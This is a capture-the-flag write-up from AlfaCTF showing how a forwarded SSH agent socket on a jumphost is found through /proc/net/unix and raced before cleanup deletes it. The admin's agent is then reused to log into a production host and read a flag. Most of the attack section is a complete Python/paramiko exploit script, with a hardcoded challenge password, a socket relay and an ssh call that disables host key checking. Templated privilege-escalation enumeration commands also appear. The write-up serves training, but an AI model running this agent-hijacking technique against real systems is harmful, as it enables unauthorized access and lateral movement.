← Back to Writeups
HTBMediumInfrastructure

Тихий квиттинг

D3v0o0Nu119/10/20266 min read
#infrastructure#htb#medium#agent_forwarding_abuse#procfs_socket_discovery#race_condition_exploitation#ssh_agent_reuse

Тихий квиттинг

Platform: Alfactf | Category: Infrastructure | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2025-12-19 | Status: Solved Techniques: agent_forwarding_abuse, procfs_socket_discovery, race_condition_exploitation, ssh_agent_reuse

Summary

Task: SSH access lands on a jumphost where the only remaining production path is an active admin SSH session. Solution: race the short-lived forwarded SSH agent socket, proxy it into a new SSH connection to tracker-prod, and read the admin flag.

Recon

Port scan

bash
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: alfactf | ID: 20251219_alfactf_tikhiy_kvitting
  • Tags: proc_filesystem, race_condition, lateral_movement, ssh, ssh_agent, agent_forwarding, process_inspection
  • Indicators: existing ssh session to an internal host, temporary /tmp/ssh-/agent. socket, cleanup command removes ssh auth socket after login, agent returns an identity such as admin@adminlaptop
  • Source: 20251219_alfactf_tikhiy_kvitting.md

Foothold

Vulnerability / Misconfiguration

  1. agent_forwarding_abuse
  2. procfs_socket_discovery
  3. race_condition_exploitation
  4. ssh_agent_reuse
bash
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

bash
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
bash
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • agent_forwarding_abuse
  • procfs_socket_discovery
  • race_condition_exploitation
  • ssh_agent_reuse
  • Tags: proc_filesystem, race_condition, lateral_movement, ssh, ssh_agent, agent_forwarding, process_inspection

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Original organizer text was not preserved in the workspace; only the access details and story summary remained.

We received SSH access to quitting-rexo4dac.alfactf.ru as user quitting with the hint that only one production session was still alive and access had to be restored.

The critical idea was to reuse the forwarded SSH agent from that surviving admin session before cleanup removed the SSH_AUTH_SOCK path.

Analysis

Logging into the provided host did not place us into a normal low-privileged shell. Instead, it dropped us into a jumphost shell as root, which immediately changed the problem from privilege escalation to session and process inspection.

Recon on the jumphost showed an already-running SSH chain for the admin user:

text
sshd: admin [priv]
sshd: admin@pts/1
sh -c sleep 1 && rm -rf /tmp/ssh* & ssh -l admin tracker-prod bash
ssh -l admin tracker-prod bash

This revealed three important facts:

  1. The only surviving path to production was an existing admin -> tracker-prod SSH login.
  2. The SSH client was using an agent rather than a local private key file.
  3. The socket path was intentionally deleted almost immediately by sleep 1 && rm -rf /tmp/ssh* & ....

Reliable PTY hijacking was possible in theory, but in practice it was messy and timing-sensitive. The forwarded agent was a much cleaner target: if we could find the agent socket quickly enough and reuse it, we could authenticate to tracker-prod as admin without extracting any private key.

The transient socket appeared briefly in /proc/net/unix as /tmp/ssh-XXXX/agent.N. A probe script confirmed that it was a real SSH agent and that it exposed exactly one identity with comment admin@adminlaptop.

That confirmation turned the challenge into a race: catch the socket, proxy it to a stable local UNIX socket, and start a fresh SSH connection to tracker-prod before cleanup removed the original path.

Exploitation Steps

1. Inspect the process tree

The main clue was the command line of the surviving admin session:

bash
sh -c sleep 1 && rm -rf /tmp/ssh* & ssh -l admin tracker-prod bash

This told us that the server itself was deleting the temporary SSH socket directory shortly after login, so any exploit had to race that cleanup.

2. Watch for the transient agent socket

Immediately after connecting, /proc/net/unix briefly exposed a path like:

text
/tmp/ssh-XXXX/agent.N

That path matched the standard shape of a forwarded SSH agent socket.

3. Prove the socket is a real agent

fast_agent_probe.py connected to the transient UNIX socket and sent the SSH agent request for identities. The reply showed one key, proving the socket was live and usable.

Important observation:

  • The socket did not hold the private key itself.
  • It exposed signing capability through the forwarded agent.
  • Reusing it was enough to authenticate as admin to another SSH destination.

4. Proxy the agent into a fresh SSH connection

The successful script connected to the short-lived /tmp/ssh-*/agent.* socket, created a stable proxy socket at /root/a.sock, and launched:

bash
ssh -o PreferredAuthentications=publickey \
    -o IdentityAgent=/root/a.sock \
    -o BatchMode=yes \
    -l admin tracker-prod '<command>'

Because the original socket vanished quickly, the script retried several times until the race succeeded.

5. Read the flag on production

Once the proxied agent login worked, running commands on tracker-prod as admin was straightforward. Recon showed /home/admin/flag.txt, and reading it returned the flag.

Solution

python
#!/usr/bin/env python3
import re
import socket
import sys
import textwrap
import time

import paramiko

HOST = "quitting-rexo4dac.alfactf.ru"
USER = "quitting"
PASSWORD = "WIFivByFQN8sUrTpaJ22WQ"
PROMPT_RE = re.compile(r"root@jumphost:.*# ")

def read_until_prompt(chan: paramiko.Channel, timeout: float = 25.0) -> str:
    end = time.time() + timeout
    out = bytearray()
    while time.time() < end:
        if chan.recv_ready():
            out.extend(chan.recv(65535))
            if PROMPT_RE.search(out.decode(errors="ignore")):
                break
        else:
            time.sleep(0.02)
    return out.decode(errors="ignore")

def main() -> int:
    prod_cmd = "cat /home/admin/flag.txt"
    remote_py = textwrap.dedent(
        f"""
        import os,pathlib,select,socket,subprocess,threading,time
        p='';a=None;t=time.time()+2.0
        while time.time()<t and a is None:
            ls=pathlib.Path('/proc/net/unix').read_text().splitlines()[1:]
            p=next((x.split()[-1] for x in ls if x.split() and '/tmp/ssh-' in x.split()[-1] and '/agent.' in x.split()[-1]),'')
            if not p: time.sleep(.01); continue
            try:
                s=socket.socket(socket.AF_UNIX,socket.SOCK_STREAM); s.settimeout(.1); s.connect(p); s.settimeout(None); a=s
            except Exception:
                time.sleep(.01)
        print('AGENT',p)
        if a is None:
            print('FAIL')
            raise SystemExit(1)
        q='/root/a.sock'
        try: os.unlink(q)
        except FileNotFoundError: pass
        srv=socket.socket(socket.AF_UNIX,socket.SOCK_STREAM); srv.bind(q); os.chmod(q,0o600); srv.listen(1)
        def f():
            c,_=srv.accept()
            try:
                while 1:
                    r,_,_=select.select([c,a],[],[],1)
                    for x in r:
                        d=x.recv(8192)
                        if not d: return
                        (a if x is c else c).sendall(d)
            finally:
                c.close(); a.close()
        threading.Thread(target=f,daemon=True).start()
        r=subprocess.run(['ssh','-o','StrictHostKeyChecking=no','-o','UserKnownHostsFile=/dev/null','-o','PreferredAuthentications=publickey','-o',f'IdentityAgent={{q}}','-o','BatchMode=yes','-l','admin','tracker-prod',{prod_cmd!r}],text=True,capture_output=True)
        print('RC',r.returncode)
        if r.stdout: print(r.stdout,end='')
        if r.stderr: print(r.stderr,end='')
        srv.close()
        try: os.unlink(q)
        except FileNotFoundError: pass
        """
    ).strip()
    shell_cmd = "python3 - <<'PY'\n" + remote_py + "\nPY\n"
    last_out = ""
    for _ in range(10):
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(HOST, username=USER, password=PASSWORD, look_for_keys=False, allow_agent=False, timeout=10, banner_timeout=20, auth_timeout=20)
        chan = client.invoke_shell(width=200, height=50)
        _ = read_until_prompt(chan, timeout=20)
        chan.send(shell_cmd)
        out = read_until_prompt(chan, timeout=40)
        chan.send("exit\n")
        time.sleep(0.2)
        if chan.recv_ready():
            out += chan.recv(65535).decode(errors="ignore")
        chan.close()
        client.close()
        last_out = out
        if "RC 0" in out:
            print(out, end="")
            return 0
        time.sleep(0.2)
    print(last_out, end="")
    return 1

if __name__ == "__main__":
    raise SystemExit(main())

Lessons / Technique Summary

  • A forwarded SSH agent can be more valuable than a private key file because it still provides signing capability.
  • /proc/net/unix is a powerful recon source for short-lived UNIX sockets.
  • If cleanup removes only the socket path, an attacker can still win by connecting first and relaying the already-open agent connection.
  • Existing internal SSH sessions often expose lateral movement opportunities even when PTY hijacking is unreliable.
</details>

signed by XESXOR